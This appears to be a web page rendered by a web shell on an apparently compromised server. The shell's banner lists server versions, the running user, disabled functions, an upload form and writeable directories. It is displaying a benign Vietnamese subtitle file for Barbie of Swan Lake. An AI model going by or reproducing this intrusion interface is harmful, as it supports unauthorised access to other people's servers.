����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/vidoe.top/upload/subtitle/03-2019/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/html/vidoe.top/upload/subtitle/03-2019/5c85dd8edf31d-1552276878.vtt
WEBVTT - https://subtitletools.com

00:00:09.800 --> 00:00:15.920
Barbie
và Hồ Thiên nga

00:02:27.700 --> 00:02:29.980
Có chuyện gì vậy Shelly?

00:02:30.720 --> 00:02:34.100
Em không ngủ được,
cái giường làm em khó chịu.

00:02:34.120 --> 00:02:36.900
Chị nhớ lần đầu tiên chị cũng vậy.

00:02:37.000 --> 00:02:39.640
Sẽ mất một ngày,
rồi em sẽ quen dần với mọi thứ.

00:02:40.000 --> 00:02:42.000
Em sẽ chẳng bao giờ quen được đâu.

00:02:42.200 --> 00:02:45.600
Nhưng còn cuộc đua ngày mai.
Em đã luyện tập cùng cả đội mà.

00:02:46.000 --> 00:02:48.380
Ai đó sẽ chạy khi thấy em mất.

00:02:48.400 --> 00:02:52.600
Cuộc đua sẽ không thể tốt đẹp nếu như không có em.
Cả đội cần em.

00:02:52.880 --> 00:02:55.720
Em chỉ muốn về nhà thôi!

00:02:57.360 --> 00:03:02.900
Nhìn lên kia xem. Em có thấy 2 ngôi sao lớn với 4 ngôi sao nhỏ xung quanh không?

00:03:03.120 --> 00:03:04.680
Thì sao ạ?

00:03:04.800 --> 00:03:08.800
Đó là chòm sao Sitnes.
Một con thiên nga.

00:03:09.920 --> 00:03:16.860
Khi nối các ngôi sao lại sẽ cho ta hình một con thiên nga.

00:03:16.900 --> 00:03:18.480
Em thấy rồi!

00:03:18.800 --> 00:03:23.000
Em có biết làm thế nào mà
một cô gái lại biến thành con thiên nga không?

00:03:23.280 --> 00:03:26.400
Thật hả chị?
Sao lại thế được?

00:03:27.000 --> 00:03:30.000
Tên cô ấy là Odette.

00:03:31.440 --> 00:03:35.200
Cô ấy làm việc trong một xưởng bánh tại nhà với chị và cha mình.

00:03:35.480 --> 00:03:39.700
Nhưng chị nói cô ấy là một con thiên nga mà!
- Ban đầu thì không.

00:04:19.920 --> 00:04:22.000
Ôi...cha!

00:04:22.100 --> 00:04:26.200
Ôi con gái cha nhảy thật là đẹp,
sao con không vào làng khiêu vũ cùng với chị con?

00:04:26.280 --> 00:04:30.000
Để mọi người nhìn chằm chằm vào con ư?
Con không làm được đâu.

00:04:30.040 --> 00:04:33.920
Nhưng ở đó sẽ vui lắm và…
Ôi những cái bánh ngô nướng của ta!

00:04:36.120 --> 00:04:37.720
Cái bánh nhân đường luôn là
cái con thích.

00:04:37.760 --> 00:04:41.980
Với một ít vụn sô cô la nữa,
đó cũng là cái em thích.! - Được rồi.

00:04:44.400 --> 00:04:46.760
Mmm... Vụn sô sô la.

00:04:46.800 --> 00:04:53.420
Cha vất vả quá. - Ta có thể làm gì đây?
Hai chị em con ăn như những cái kho cất lương thực ấy.

00:05:01.600 --> 00:05:05.640
Chị phi ngựa như đang bay vậy.
- Ý chị là thế đấy.

00:05:05.680 --> 00:05:08.880
Lên đây nào! Chị đang định vào làng. Em sẽ thích nó cho mà xem.

00:05:08.920 --> 00:05:10.800
Cảm ơn chị, nhưng...

00:05:12.680 --> 00:05:15.520
Không cảm ơn, được chứ ?
- Vâng.

00:05:17.960 --> 00:05:19.800
Chị quên bữa sáng này.

00:05:19.880 --> 00:05:24.000
Trông ngon quá
Odette.

00:05:25.440 --> 00:05:27.720
Chị sẽ về sớm thôi!

00:05:28.800 --> 00:05:31.900
Chị con đó hả?
- Vâng, nhưng chị ấy vừa đi rồi.

00:05:32.000 --> 00:05:34.600
Như một ngọn gió.

00:06:06.320 --> 00:06:10.880
OK. Nhưng cậu có thể lùi nó ra xa nữa không?

00:06:10.920 --> 00:06:13.920
Anh sẽ nói gì nếu tôi bắn trúng cái bao trên cùng ở đằng kia?

00:06:13.960 --> 00:06:19.680
Ha, ha, ha, từ khoảng cách thế này hả?
Cậu đùa phải không?

00:06:19.720 --> 00:06:21.840
Điều đó là không thể nào.

00:06:21.880 --> 00:06:24.500
Đó là việc ưa thích của tôi đấy.

00:06:34.400 --> 00:06:36.720
Không thể tin được.

00:06:36.760 --> 00:06:42.400
Ho, ho, ho, Hoàng tử, thật khó tin.
- Cảm ơn, thưa ngài.

00:06:50.800 --> 00:06:54.640
Ôi trời!
Hmm...

00:06:58.320 --> 00:07:00.600
Mẹ! Con xin lỗi!

00:07:02.240 --> 00:07:04.700
Một mục tiêu luyện tập mới hả?

00:07:04.800 --> 00:07:07.500
Ta đến để đưa cho con những cái này.

00:07:07.500 --> 00:07:11.600
Đó là tên của tất cả các công nương sẽ đến dự buổi khiêu vũ hoàng gia.

00:07:11.600 --> 00:07:16.400
Con hãy chọn lấy một cô dâu cho mình
trong số ấy.

00:07:16.440 --> 00:07:21.300
Ta đã mệt rồi con trai.
Con sẽ sớm nhận lấy ngai vàng.

00:07:21.360 --> 00:07:25.800
Và ta muốn phần đời còn lại để chơi với
các cháu của ta.

00:07:25.900 --> 00:07:31.160
Mẹ à, một ngày nào đó con cũng sẽ kết hôn! Nhưng giờ con còn nhiều thứ để làm, khám phá, du lịch.

00:07:31.200 --> 00:07:37.540
Và trong đó có cả cháu của ta nữa.

00:07:59.600 --> 00:08:02.400
Ha, ha..Này anh bạn nhỏ!

00:08:04.600 --> 00:08:07.000
Được rồi, được rồi.

00:08:13.040 --> 00:08:15.200
Giờ thì bay đi nào.

00:08:26.000 --> 00:08:28.440
Không thể tin được.

00:08:30.600 --> 00:08:36.840
Nhanh lên, bắt lấy nó...

00:08:41.400 --> 00:08:42.640
Đừng để nó chạy thoát...

00:08:44.980 --> 00:08:48.000
Đợi đã!
Anh sẽ làm nó bị thương mất!

00:09:00.400 --> 00:09:01.880
Cẩn thận!

00:09:08.960 --> 00:09:13.700
Tôi bắt được nó rồi! Tôi bắt được con kỳ lân rồi.
Đứng yên nào con ngựa ngu ngốc.

00:09:13.800 --> 00:09:15.160
Ôi không!

00:09:29.120 --> 00:09:31.720
Này, con kỳ lân đâu rồi?

00:11:30.400 --> 00:11:32.900
Giữ yên ở đó!

00:12:51.860 --> 00:12:53.800
Giữ yên ở đó nhé!

00:12:53.880 --> 00:12:57.400
Cô nói dễ lắm.
Cô có bị mắc vào cành cây đâu.

00:12:57.440 --> 00:12:59.600
Mi nói được ư?

00:13:00.600 --> 00:13:02.200
Dĩ nhiên.

00:13:02.240 --> 00:13:06.240
Bây giờ thì cô cứ đứng trơ mắt nhìn
hay giúp tôi cắt cái dây này đây?

00:13:06.280 --> 00:13:10.600
Được thôi.
- Không cần bận tâm, tôi sẽ tự làm.

00:13:11.400 --> 00:13:12.640
Auuuuuuuuu.

00:13:12.680 --> 00:13:15.920
Chờ đã, tôi sẽ tìm thứ gì đó để cắt.

00:13:15.960 --> 00:13:19.260
Chắc rồi, vậy cô nhanh lên.

00:13:30.040 --> 00:13:34.760
Đó là một con người! Ngay tại đây.
Một con người!

00:13:38.200 --> 00:13:40.920
Không, không, ai đó ngăn cô ấy lại đi!

00:13:41.520 --> 00:13:46.520
Kể lại cho tôi khi nó đã qua nhé.
- Không, hãy nhìn xem.

00:14:02.040 --> 00:14:06.400
Cô lấy cái đó ở đâu vậy?
- Ở cái gốc cây lớn đằng kia kìa.

00:14:06.640 --> 00:14:09.600
Ý cô là cô chỉ đơn giản lấy nó ra thôi hả?

00:14:09.640 --> 00:14:12.280
Tôi xin lỗi, tôi sẽ trả nó lại ngay.

00:14:15.880 --> 00:14:18.000
Xong rồi.
Cậu thoát khỏi cái thừng đó được rồi đấy.

00:14:21.120 --> 00:14:23.200
Người có thấy điều đó không, thưa Nữ hoàng?

00:14:23.240 --> 00:14:25.760
Cô ấy đã lấy viên pha lê ra.

00:14:25.800 --> 00:14:28.400
Con vô cùng xin lỗi.

00:14:28.440 --> 00:14:33.200
Con đừng xin lỗi.
Chúng ta đã chờ con lâu lắm rồi.

00:14:33.240 --> 00:14:34.400
Con ư?

00:14:34.420 --> 00:14:37.510
Trước tiên,
để ta cảm ơn con vì đã giúp Lilah.

00:14:37.520 --> 00:14:41.760
Và con...con tốt hơn nên biết về việc phiêu lưu trong
thế giới loài người.

00:14:41.800 --> 00:14:47.400
Một sinh vật như con có thể bị...
- Con biết. Giết bởi con người.

00:14:48.840 --> 00:14:55.600
Tất cả đã chấm dứt rồi. Con thật ngốc!
Vĩnh biệt thế giới.

00:14:57.480 --> 00:14:59.480
Ta có thể làm gì với con đây?

00:14:59.520 --> 00:15:01.440
Con chỉ muốn giúp thôi mà.

00:15:01.960 --> 00:15:05.800
Phải có ai đó trong ngôi làng
có thể giúp phá vỡ cái bùa chú đó chứ.

00:15:06.320 --> 00:15:08.400
Con thân mến, tên con là gì?

00:15:08.640 --> 00:15:09.760
Odette.

00:15:09.800 --> 00:15:13.800
Được rồi, Odette,
con có biết mình đang cầm thứ gì trong tay không?

00:15:14.000 --> 00:15:16.840
Con...con đang định trả lại nó.

00:15:16.880 --> 00:15:19.720
Viên pha lê phép thuật đã thuộc về con kể từ đây.

00:15:19.760 --> 00:15:23.480
Thuộc về cô ta ư?
Làm thế nào cô ta cứu chúng ta được?

00:15:23.520 --> 00:15:26.960
Có lẽ Người đã nhầm con với ai đó chăng?

00:15:27.200 --> 00:15:33.080
Nhiều năm trước, anh họ ta Rothbard cũng cùng sống ở đây.

00:15:33.100 --> 00:15:37.000
Cho đến khi người chú của chúng ta chọn người trị vì mới.

00:15:37.040 --> 00:15:40.160
Người đã chọn ta thay vì anh họ ta.

00:15:40.400 --> 00:15:44.480
Rothbard vô cùng giận dữ ông ấy lao vào bóng tối của khu rừng.

00:15:44.800 --> 00:15:50.160
Nhiều năm trôi qua, Rothbard quay trở lại với con gái của mình là Odille.

00:15:50.240 --> 00:15:56.760
Ông ấy đã là Vua của Bóng tối và từng bước xâm chiếm khu rừng.

00:15:56.800 --> 00:16:01.520
Ta cố gắng ngăn chặn,
nhưng quyền lực của ông ta quá lớn so với ta.

00:16:01.560 --> 00:16:05.600
Một vài thiên thần đã thử ngăn chặn ông ta

00:16:05.640 --> 00:16:12.260
nhưng ông ấy đã biến họ thành những con vật phục vụ mình.

00:16:14.600 --> 00:16:19.360
Cứ mỗi khi chiếm thêm được một phần khu rừng, Rothbard lại mạnh hơn.

00:16:19.400 --> 00:16:22.000
Nhưng bây giờ đã có cô ở đây...

00:16:23.920 --> 00:16:25.880
Con không hiểu.

00:16:25.920 --> 00:16:31.660
Ai lấy được viên Pha lê Phép thuật,
người đó sẽ mạnh hơn Rothbard.

00:16:31.690 --> 00:16:33.390
Và cứu cả khu rừng.

00:16:33.400 --> 00:16:38.040
Nhưng không một ai có thể lấy nó ra...Odette ạ.

00:16:38.080 --> 00:16:40.560
Cho đến tận hôm nay.

00:16:40.600 --> 00:16:44.260
Đó chính là cô, là cô, người hùng của chúng tôi.

00:16:44.300 --> 00:16:46.440
Để tôi ôm cô một cái nào.

00:16:46.480 --> 00:16:50.160
Bình tĩnh nào Ivan, bình tĩnh.
- Ồ phải rồi, phải rồi.

00:16:51.640 --> 00:16:56.000
Cô ấy trông không giống tôi cho lắm nhưng...Có thể

00:16:56.040 --> 00:17:01.200
Chờ đã...Chắc mọi người nhầm lẫn rồi.
Tôi không thể nào là người đó đâu.

00:17:01.240 --> 00:17:04.640
Tôi chưa từng vô hiệu được ai
trong suốt cuộc đời mình.

00:17:04.680 --> 00:17:09.080
Con ước gì mình có thể giúp, nhưng tôi...
- Tôi biết rồi.

00:17:09.120 --> 00:17:13.680
Lilah, chúng ta không thể làm trái truyền thuyết, sức mạnh của hắn ta quá lớn.

00:17:14.360 --> 00:17:16.800
Con thật sự xin lỗi, con phải về thôi.

00:17:16.840 --> 00:17:18.800
Gia đình con có lẽ đang tìm con.

00:17:21.800 --> 00:17:25.680
Ta hiểu Odette,
Lilah sẽ dẫn đường cho con.

00:17:29.440 --> 00:17:31.000
Tạm biệt.

00:17:31.040 --> 00:17:32.840
Con rất tiếc.

00:17:35.360 --> 00:17:40.780
Thế là hết rồi, hết rồi, chấm dứt.
Ôi, đầu của tôi đau quá.

00:17:41.800 --> 00:17:46.100
Người thực sự thấy cô ấy có điều gì đó đặc biệt.
Phải không?

00:17:47.160 --> 00:17:49.440
Thôi được, để xem con có thể làm gì nào.

00:17:57.200 --> 00:18:02.100
Cô biết nếu tôi có viên pha lê,
Tôi sẽ tóm ngay Rothbard.

00:18:02.520 --> 00:18:05.460
Cẩn thận đấy, lão già ngu ngốc!

00:18:14.060 --> 00:18:15.160
Oops!

00:18:18.880 --> 00:18:21.040
Chỉ là để sừng của tôi luôn sắc.

00:18:21.200 --> 00:18:26.680
Nó chỉ là...Tôi không được dũng cảm như cậu.
- Điều đó là không phải bàn cãi.

00:18:26.720 --> 00:18:31.320
Không ai có thể dũng cảm hơn tôi, nhưng tôi đoán mình có thể giúp cô.

00:18:53.960 --> 00:19:00.880
Nhìn cô này, thế này gọi là bảo vệ đấy.
- Hoàn hảo nhỉ!

00:19:00.920 --> 00:19:06.820
Một chú chim bé nhỏ thì thầm với ta rằng có một cô gái loài người lấy được viên pha lê phép thuật.

00:19:06.960 --> 00:19:11.760
Không phải là cô chứ?
- Chuẩn bị chưa thế Rothbard?

00:19:11.800 --> 00:19:16.120
Ôi sợ quá, cái ngày tận thế của ta đã tới rồi.

00:19:17.080 --> 00:19:19.360
Cứ cười tiếp đi.

00:19:19.800 --> 00:19:24.160
Nhưng Odette sẽ ném hai ngươi vào lò nướng...

00:19:24.200 --> 00:19:25.600
Lila!?

00:19:26.120 --> 00:19:31.000
Oh yeah... Odette sẽ biến hai ngươi thành bữa điểm tâm buổi sáng như những cái bánh mì đấy.

00:19:31.040 --> 00:19:36.280
Và ta nghĩ rằng kỳ lân là đồ nhút nhát.

00:19:37.200 --> 00:19:41.800
Odille, con chim bé nhỏ của cha, con có muốn một cái gối lông mới không nào?

00:19:44.120 --> 00:19:45.760
Bất cứ lúc nào.

00:20:14.320 --> 00:20:18.280
Oooh...
- Odette.

00:20:22.520 --> 00:20:28.600
Ha, ha, ha. Hãy nhìn người hùng của chúng ta này.

00:20:30.440 --> 00:20:32.400
Này, dừng lại ngay.

00:20:37.520 --> 00:20:39.880
Chạy đi...Chạy đi Odette.

00:20:42.800 --> 00:20:45.080
Ở đằng này, Odette.

00:20:54.140 --> 00:20:56.780
Ta đến nhanh nhất có thể.

00:20:56.800 --> 00:21:00.400
Chiếc vương miện này sẽ bảo vệ con.

00:21:05.180 --> 00:21:07.640
Xin chào vị Nữ hoàng không ngai.

00:21:07.680 --> 00:21:12.080
Hắn sẽ không làm gì được con chừng nào con còn đeo chiếc vương miện.

00:21:12.120 --> 00:21:16.860
Cô nghĩ cô còn có thể can dự vào việc của ta ư?

00:21:17.480 --> 00:21:20.520
Ha!
Đây là khu rừng của ta.

00:21:20.760 --> 00:21:24.080
Của ta. Điều đó sẽ luôn là như thế.

00:21:24.140 --> 00:21:31.140
Đứng sang một bên để ta lấy chiếc vương miện.
- Và đứng nhìn ngươi phá hủy nốt phần còn lại của khu rừng ư?

00:21:31.200 --> 00:21:34.280
Không bao giờ.
- Vậy thì hãy chiêm ngưỡng màn trình diễn này nhé.

00:21:34.820 --> 00:21:38.400
Cái ngày của cô ta đã kết thúc rồi.

00:22:07.240 --> 00:22:11.080
Yeah....Hoan hô... Đúng rồi!

00:22:12.200 --> 00:22:14.280
Cút đi Rothbard.

00:22:14.320 --> 00:22:16.320
Ngươi chẳng thể làm gì ở đây nữa đâu.

00:22:16.360 --> 00:22:17.800
Cô nghĩ vậy sao?

00:22:22.680 --> 00:22:26.760
Đi nào Odille!
- Chúng ta làm gì tiếp đây?

00:22:27.120 --> 00:22:31.120
Thế còn cái gối của con thì sao?
Cha, đợi con với!

00:22:34.720 --> 00:22:38.880
Cô nghĩ thế nào?
"Odille-đi-thôi.."

00:22:40.920 --> 00:22:44.980
Cô có thấy mặt lão ta không?
Cô thắng lão ta rồi Odette.

00:22:46.040 --> 00:22:48.800
Tôi nghĩ lão ta thắng tôi đấy.

00:22:48.840 --> 00:22:52.140
Aha... Đúng... Nữ hoàng, chúng ta có rắc rối.

00:22:52.200 --> 00:22:54.920
Tôi phải làm gì đây?
Người có thể biến con trở lại như cũ không?

00:22:56.080 --> 00:22:57.920
Ước gì ta có thể...

00:22:58.000 --> 00:23:03.600
Qua thời gian, vài thiên thần đã trốn thoát khỏi
lâu đài của Rothbard.

00:23:03.700 --> 00:23:09.540
Thực sự là chúng tôi bị đuổi rất sát đấy, nhưng nhờ Caslista xinh đẹp...Chúng tôi đã thoát!

00:23:09.600 --> 00:23:12.200
Chẳng có gì đâu, tôi chỉ nói với bọn lính canh:

00:23:12.240 --> 00:23:15.600
Anh, lại gần đây, tôi có thứ này cho anh.

00:23:15.640 --> 00:23:18.720
Anh ta lại gần, và thế là......
Aahhaa!

00:23:24.360 --> 00:23:27.200
Thật là khó quên.

00:23:27.440 --> 00:23:31.600
Quyền lực của ta không đủ để xóa bỏ hoàn toàn lời nguyền của Rothbard.

00:23:31.640 --> 00:23:37.820
Phép thuật của ta chỉ có thể biến mọi người trở lại như trước sau khi mặt trời lặn.

00:23:38.560 --> 00:23:40.320
Và bây giờ?

00:23:41.900 --> 00:23:47.300
Xin hãy làm đi, con không muốn làm một con thiên nga trong suốt phần đời còn lại đâu.

00:24:16.800 --> 00:24:19.240
Trở lại đi nào!
Hoạt động đi!

00:24:31.940 --> 00:24:37.840
Khuỷu tay, ngón tay
Cảm ơn Người, Cảm ơn Người!

00:24:38.560 --> 00:24:44.560
Con phải nhớ rằng khi mặt trời mọc vào ngày mai...
- Con sẽ trở lại làm thiên nga.

00:24:44.800 --> 00:24:46.980
Con không thể trở về nhà như thế này được.

00:24:47.240 --> 00:24:49.920
Con phải tìm cách để xóa bỏ hoàn toàn lời nguyền này.

00:24:50.160 --> 00:24:51.440
Chính là thế đấy!

00:24:51.600 --> 00:24:56.160
Chúng tôi muốn nói lời cảm ơn cô
từ trái tim sâu thẳm

00:24:56.840 --> 00:24:59.400
A... Từ sâu thẳm trái tim chứ, Ivan.

00:24:59.430 --> 00:25:00.800
Da...

00:25:00.900 --> 00:25:04.000
Phải có bí mật nào đó để chống lại Rothbard chứ.

00:25:04.040 --> 00:25:11.020
Có chứ, nó nằm trong Cuốn sách của vị Thần Rừng và chỉ có Chủ nhân của Viên Pha lê Phép thuật mới có thể mở được nó.

00:25:11.160 --> 00:25:12.920
Con có thể tìm nó ở đâu?

00:25:12.960 --> 00:25:16.100
Ai sẽ đưa Odette tới nơi cất giữ Cuốn sách của vị Thần Rừng?

00:25:16.120 --> 00:25:19.600
Chỗ đó đáng sợ lắm...
- Không có ai tới đó trong nhiều năm qua.

00:25:19.640 --> 00:25:25.560
Nó được bảo vệ bởi một tên Quỷ khổng lồ đáng sợ
- Một tên Quỷ khổng lồ?- Đáng sợ quá.

00:25:26.240 --> 00:25:30.200
Tôi sẽ bảo vệ cậu.
- Cậu đi trước. - Không, cậu.

00:25:30.240 --> 00:25:34.500
Nguy hiểm, một con quỷ...
Tôi sẽ đi.

00:25:38.400 --> 00:25:44.860
Cuốn sách được canh giữ bởi một con quỷ tên là Eramus, hãy dùng nó để mở cánh cửa vào.

00:26:14.920 --> 00:26:16.040
Chuyện gì xảy ra thế?

00:26:17.680 --> 00:26:19.440
Đó là thứ cậu đang chuyển đi.

00:26:20.280 --> 00:26:23.200
Không, không, không có gì đâu.

00:26:23.240 --> 00:26:28.040
Chỉ là cái đồ tẻ nhạt chán ngắt thôi mà... Tôi sẽ bỏ nó đi chỗ khác cho Ngài.

00:26:28.600 --> 00:26:32.000
Sao anh không mang cái thứ chán ngắt đấy vào thư viện nhỉ?

00:26:44.360 --> 00:26:45.420
Không...

00:26:45.800 --> 00:26:47.400
Nó không đúng phải không?
- Đúng rồi.

00:26:47.440 --> 00:26:50.560
Dù sao đi nữa Ngài cũng không cần bận tâm về nó.

00:26:50.600 --> 00:26:53.040
Ngài đã có đủ thứ để bận tâm rồi.

00:26:53.080 --> 00:26:55.000
Có nhiều nơi chưa được khám phá quá.

00:26:55.040 --> 00:26:58.900
Nguy hiểm lắm thưa Hoàng tử.

00:26:59.000 --> 00:27:01.520
Nếu Ngài đi quá xa sẽ bị sụp xuống đấy.

00:27:01.560 --> 00:27:04.700
Ta nghĩ nếu đi theo đó sẽ có nhiều cuộc phiêu lưu kỳ thú.

00:27:04.720 --> 00:27:10.040
Tạ ơn trời, Ngài cần tìm cho mình một nàng công chúa ở buổi khiêu vũ hoàng gia.

00:27:10.120 --> 00:27:11.480
Ta không biết.

00:27:13.000 --> 00:27:15.920
Ta tin rằng sẽ có thứ gì đó tuyệt vời để khám phá.

00:27:16.200 --> 00:27:18.920
Nó chỉ quanh quẩn ở góc nào đó thôi.

00:27:25.040 --> 00:27:28.480
Vậy, chính xác thì thứ mà chúng ta đang nói tới đáng sợ như thế nào?

00:27:29.200 --> 00:27:31.200
Đáng sợ thôi thì chưa đủ đâu.

00:27:31.280 --> 00:27:34.980
Một con quỷ, móng vuốt sắc nhọn, thân hình khổng lồ...

00:27:35.800 --> 00:27:38.440
À, và cả hút máu người nữa.
- Cái gì cơ?!

00:27:38.480 --> 00:27:42.480
Nhưng tôi chắc chắn rằng đó chỉ là đồn thổi thôi.

00:27:48.040 --> 00:27:51.800
OK, đây rồi.
Cô còn giữ chiếc lá chứ?

00:28:07.320 --> 00:28:08.360
Đi nào.

00:28:09.420 --> 00:28:13.040
Này, cô dũng cảm hơn mình nghĩ đấy.

00:28:13.080 --> 00:28:16.660
Tôi không nghĩ vậy đâu.

00:28:33.520 --> 00:28:36.360
Cha có tìm thấy em không?
- Nó vẫn chưa về à...?

00:28:36.440 --> 00:28:39.600
Ta không để ý tới nó lúc nào nhỉ?
Có lẽ nó chỉ ở đâu đó thôi.

00:28:39.640 --> 00:28:43.160
Đợi đã. Con sẽ đi với cha.

00:28:59.480 --> 00:29:01.760
Ai ở dưới đó?

00:29:01.800 --> 00:29:05.840
Là tôi, Lila...
và bạn của tôi, Odette.

00:29:05.880 --> 00:29:11.300
Ta không biết ngươi. Và thực sự ngươi cũng không muốn biết ta là ai đâu.

00:29:11.400 --> 00:29:13.040
Đừng đùa thế chứ.

00:29:13.480 --> 00:29:18.560
À..Uhm...Chúng tôi tới đây vì Cuốn sách của vị Thần Rừng.

00:29:18.600 --> 00:29:21.640
Các ngươi tới đây vì Cuốn sách của vị Thần Rừng!

00:29:22.000 --> 00:29:24.920
Nữ hoàng của Khu rừng Thần tiên đã nói như vậy.

00:29:25.440 --> 00:29:28.420
Bà ấy đưa cho chúng tôi cái này.

00:29:56.640 --> 00:29:58.680
Ôi những vị khách!

00:30:02.560 --> 00:30:08.000
Ông làm tôi...sợ, hah?
- Phải như thế một chút chứ, phải không.

00:30:08.200 --> 00:30:10.840
Đừng kể cho ai biết nhé.

00:30:11.480 --> 00:30:14.620
Ngồi xuống và cứ tự nhiên như ở nhà nhé.

00:30:14.760 --> 00:30:18.780
Các bạn dùng gì nào, trà, bánh ngọt, bánh nướng?

00:30:19.840 --> 00:30:23.060
Ông không phiền nếu tôi ăn một cái chứ.

00:30:24.560 --> 00:30:27.600
Tôi tự làm chúng đấy
- Chúng được làm từ bao giờ thế?

00:30:28.760 --> 00:30:31.520
Vậy, bạn thân mến, hãy kể tôi nghe những gì đang diễn ra trong rừng nào.

00:30:31.560 --> 00:30:33.800
Er, nói về Elfrudy thế nào trước nhé?

00:30:33.830 --> 00:30:35.000
Nghỉ hưu rồi.

00:30:36.000 --> 00:30:37.000
Ai nữa nào?

00:30:37.040 --> 00:30:41.120
Ông ta luôn nói về việc ấy.

00:30:41.400 --> 00:30:43.960
Còn lão già Freddy bướng bỉnh?
Vào viện dưỡng lão.

00:30:44.200 --> 00:30:48.640
Và 2 người còn lại? - Họ đã tự mua cho mình một chiếc xe kéo để đi an hưởng tuổi già.

00:30:49.840 --> 00:30:54.680
Mọi người đều đã đi rồi. Tôi nghĩ vậy.
Đi rồi.

00:30:55.000 --> 00:30:57.300
Các bạn biết điều đó có nghĩa là gì không?

00:30:57.720 --> 00:31:04.280
Tôi đã già rồi và không ai cần tôi nữa.

00:31:04.520 --> 00:31:06.900
Chúng tôi cần ông.

00:31:07.080 --> 00:31:11.680
Bà tiên đã nói với chúng tôi truyền thuyết về Viên Pha lê Phép thuật.

00:31:11.680 --> 00:31:14.380
Và nó được viết trong Cuốn sách của vị Thần Rừng.

00:31:14.420 --> 00:31:20.000
Ôi Chúa ơi, có phải...?
- Chắc chắn rồi.

00:31:20.400 --> 00:31:22.640
Tôi có thể xem cuốn sách không?

00:31:23.320 --> 00:31:27.540
Cô có thể xem nó không ư?
Tất nhiên, ngay bây giờ!

00:31:29.440 --> 00:31:32.400
Nó ở ngay đây thôi mà.

00:31:35.160 --> 00:31:44.840
Aha ... Nó trông giống hệt như thế này. Chỉ khác là lớn hơn, màu đỏ và có một cái khóa đặc biệt.

00:31:45.000 --> 00:31:48.340
Tôi thề là tôi chỉ vừa mới nhìn thấy nó đâu đây thôi mà.

00:31:50.360 --> 00:31:53.320
Chúng tôi sẽ giúp ông tìm nó.

00:32:24.000 --> 00:32:30.700
Hey, nếu gặp phải một thanh thế này nữa, tôi sẽ hét lên đấy.

00:32:30.840 --> 00:32:33.780
Tôi không biết nữa, nó có vẻ...hợp với cậu đấy.

00:32:41.460 --> 00:32:46.380
Được rồi đủ rồi, tôi bỏ cuộc. Cuốn sách có thể ở đâu được cơ chứ?

00:32:46.440 --> 00:32:50.120
Chúng ta sẽ tìm thấy nó, Erasmus. Chúng ta mới chỉ bắt đầu thôi mà.

00:32:50.160 --> 00:32:53.680
Cô đang đùa đấy à. Chúng ta đã tìm kiếm cả đêm rồi đấy.

00:32:53.760 --> 00:32:55.360
Thật vậy sao?

00:33:14.200 --> 00:33:19.920
Chúng ta tìm đến đâu rồi Erasmus? Chúng ta sẽ tìm thấy nó dù phải mất cả ngày đi chăng nữa.

00:33:28.960 --> 00:33:31.240
Chán chết đi được.

00:33:32.880 --> 00:33:35.300
Ngu ngốc...Xấu xí.

00:33:35.880 --> 00:33:39.400
Chẳng có cái gì để mà đeo cả.

00:33:41.240 --> 00:33:46.720
Con biết cái nhìn đó rồi nhé.
Cha đang suy nghĩ gì đó phải không?

00:33:46.760 --> 00:33:50.200
Ta đang nghĩ làm thế nào để tách cái vương miện ra khỏi đầu cô ta.

00:33:50.240 --> 00:33:53.240
Vương miện à, cha, con chẳng có cái nào cả.

00:33:53.280 --> 00:33:55.400
Lấy nó cho con đi cha, con muốn có một cái.

00:33:55.440 --> 00:33:58.920
Thế là đủ rồi, con chim bé nhỏ của cha.

00:33:59.480 --> 00:34:02.000
Nhưng con không muốn phải đợi!

00:34:02.040 --> 00:34:06.580
Con là nàng công chúa bảo thủ nhất trong khu rừng này đấy.

00:34:07.200 --> 00:34:10.400
Sao cha không giết quách cô ta đi, cha?

00:34:10.520 --> 00:34:12.920
Bất kỳ con người nào cũng làm được.

00:34:13.840 --> 00:34:16.880
Một con người. Dĩ nhiên rồi.

00:34:16.900 --> 00:34:22.760
Khi giống như một con vật thì ngay cả viên Pha lê Phép thuật cũng không thể bảo vệ cô ta trước con người.

00:34:22.800 --> 00:34:24.400
Tuyệt vời!

00:35:21.120 --> 00:35:22.280
Wow ...

00:35:38.440 --> 00:35:44.240
Chúng tôi tìm kiếm suốt ngày, suốt đêm mà vẫn không thấy gì, không gì cả.

00:35:44.960 --> 00:35:47.700
Yên lặng nào.
Cậu sẽ đánh thức cô ấy dậy mất.

00:36:30.700 --> 00:36:32.720
Thật là một mục tiêu hấp dẫn.

00:36:37.080 --> 00:36:40.720
Đúng rồi, như vậy đấy, bắn đi, bắn đi nào.

00:36:46.200 --> 00:36:53.280
Đẹp quá. - Ngươi còn chờ gì nữa, bây giờ, ngay bây giờ.

00:37:17.600 --> 00:37:19.120
Nàng là ai?

00:37:19.160 --> 00:37:21.100
Làm sao mà Người tới được đây?

00:37:21.200 --> 00:37:23.040
Thưa Hoàng tử.

00:37:23.120 --> 00:37:24.480
Nàng biết ta?

00:37:24.520 --> 00:37:27.860
Tôi tên là Odette.
Tôi sống trong ngôi làng gần đây.

00:37:28.640 --> 00:37:32.640
Ít nhất là như vậy, cho tới khi...
- Cho tới khi?

00:37:32.840 --> 00:37:36.040
Tên loài người ngu ngốc.

00:37:39.000 --> 00:37:41.680
Bây giờ, để xem nào.

00:37:42.200 --> 00:37:48.520
Vòng cổ bằng ngọc trai. Ồ không, quá cổ hủ.

00:37:49.600 --> 00:37:57.420
Giờ thì hồng ngọc và kim cương, nó sẽ rất hợp với ta.

00:38:00.360 --> 00:38:02.440
Cậu có thấy những gì tớ thấy không?

00:38:02.480 --> 00:38:05.600
Một cơ hội
- Chính xác.

00:38:05.640 --> 00:38:09.660
Tớ chỉ cần thêm vài người bạn đặc biệt nữa thôi.

00:38:09.760 --> 00:38:13.860
Và giờ thì tôi phải tìm cách phá bỏ lời nguyền của hắn. Bằng cách nào đó.

00:38:13.920 --> 00:38:20.540
Well, well, well. Ta thấy rằng Nữ hoàng của các ngươi
vẫn còn chút quyền lực nhỉ.

00:38:21.160 --> 00:38:24.480
Chỉ cần một mũi tên từ ngươi thôi.

00:38:25.080 --> 00:38:29.840
Ngươi muốn ta giết cô ấy?
